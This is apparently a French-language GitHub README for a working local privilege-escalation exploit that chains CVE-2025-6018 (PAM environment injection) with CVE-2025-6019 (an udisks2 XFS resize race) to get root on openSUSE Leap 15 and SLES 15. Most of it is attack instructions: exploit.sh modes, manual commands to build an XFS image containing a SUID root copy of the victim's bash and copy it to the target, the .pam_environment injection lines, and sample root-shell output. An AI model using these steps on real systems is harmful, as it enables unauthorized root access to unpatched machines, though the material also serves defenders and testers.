CVE-2025-6018 CVE-2025-6019 PoC Exploit

Élévation de privilèges locale (LPE) - openSUSE / SUSE Linux Enterprise 15

PoC/Exploit fonctionnel pour CVE-2025-6018 et CVE-2025-6019 - Élévation de privilèges d'un utilisateur non privilégié à root sur openSUSE Leap 15.x et SUSE Linux Enterprise 15.x

🎯 Résumé rapide

ID CVE	Vulnérabilité	Impact
CVE-2025-6018	Injection de variables d'environnement PAM	Contournement vers le statut polkit allow_active
CVE-2025-6019	Course critique lors du redimensionnement XFS udisks2/libblockdev	Shell root

Chaîne d'attaque

Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT

🔥 Démonstration du PoC

# Check vulnerability
./exploit.sh --check

# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup

# Reconnect SSH, then: su - $USER

# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img

# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)

📥 Installation

git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh

🎯 Systèmes affectés

• ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
• ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
• ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6

⚠️ Note : openSUSE Leap 15.6 arrive en fin de vie le 30 avril 2026. Après cette date, aucun correctif de sécurité ne sera publié. Les utilisateurs devraient migrer vers Leap 16.0 ou SLES avec support étendu.

Composants vulnérables

• PAM (Linux-PAM 1.3.0 - 1.6.0) avec user_readenv=1
• udisks2 2.9.x avec libblockdev
• polkit avec allow_active: yes pour les actions udisks2

📖 Utilisation

Option 1 : Vérifier la vulnérabilité

./exploit.sh --check

Option 2 : Configurer le contournement PAM (CVE-2025-6018)

./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER

Option 3 : Exploiter (CVE-2025-6019)

./exploit.sh --exploit /tmp/xfs.img

Option 4 : Mode entièrement automatique

./exploit.sh --auto /tmp/xfs.img

Option 5 : Afficher les instructions de création d'image

./exploit.sh --create-image

🛠️ Création de l'image de charge utile XFS

À exécuter sur la machine de l'ATTAQUANT en tant que root :

⚠️ Vous DEVEZ utiliser le binaire /usr/bin/bash de la victime, pas celui de votre machine locale. Un binaire bash provenant d'une autre distribution (Kali, Arch, Ubuntu, etc.) échouera sur la cible en raison d'une incompatibilité ABI glibc/bibliothèques partagées — même sur la même architecture x86_64.

Utilisation du script d'assistance (recommandé)

Le script détecte automatiquement votre version de xfsprogs et applique les options correctes :

# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash

# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img

# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img

Création manuelle

sudo su -

# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash

# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt

# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl  # MUST show: -rwsr-xr-x

# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/

Compatibilité du format XFS

L'image XFS doit être formatée avec des options compatibles avec le noyau de la cible. Les versions récentes de xfsprogs activent par défaut des fonctions sur disque que les anciens noyaux SUSE ne peuvent pas lire, ce qui provoque des erreurs wrong fs type, bad superblock lors du montage de redimensionnement udisks2.

Cible	Noyau	Commande mkfs.xfs
SUSE 15 SP5-SP6	5.14 / 6.4	mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
SUSE 15 SP1-SP4	4.12 - 5.3	mkfs.xfs -f -m crc=0,reflink=0 xfs.img

Pourquoi ? exchange et parent sont des fonctions du noyau 6.10+ (activées par défaut dans xfsprogs 6.x). bigtime, inobtcount et nrext64 sont des fonctions du noyau 5.10+. La commande « compat » SP1-SP4 (-m crc=0,reflink=0) crée un format XFS V4 avec toutes les fonctions modernes désactivées, qui fonctionne sur tous les SP de SUSE 15.

🔬 Détails techniques

CVE-2025-6018 : Injection d'environnement PAM

Vulnérabilité : le module pam_env de PAM lit ~/.pam_environment avec user_readenv=1 (valeur par défaut sur SUSE), ce qui permet l'injection de variables d'environnement.

Exploit : définir XDG_SEAT=seat0 et XDG_VTNR=1 pour tromper systemd-logind et lui faire accorder les privilèges polkit allow_active.

# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

CVE-2025-6019 : Course critique lors du redimensionnement XFS

Vulnérabilité : lors du redimensionnement d'un système de fichiers XFS via udisks2, libblockdev monte temporairement le système de fichiers sans l'option nosuid.

Exploit :

1. Créer une image XFS avec un binaire root SUID
2. Configurer un périphérique loop
3. Déclencher le redimensionnement via D-Bus
4. Gagner la course pour exécuter le binaire SUID pendant le montage temporaire
5. Obtenir un shell root

📋 Guide complet d'exploitation

Étape 1 : Vérifier la vulnérabilité

./exploit.sh --check

Sortie :

[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO

Étape 2 : Configurer le contournement PAM

./exploit.sh --setup
exit
ssh user@target
su - $USER

Étape 3 : Vérifier allow_active

./exploit.sh --check

Sortie :

[+] allow_active status: YES
    You have allow_active privileges!

Étape 4 : Transférer l'image XFS

# On attacker:
scp xfs.img user@target:/tmp/

Étape 5 : Exploiter

./exploit.sh --exploit /tmp/xfs.img

Sortie :

[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...

=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

root@target#

🔧 Dépannage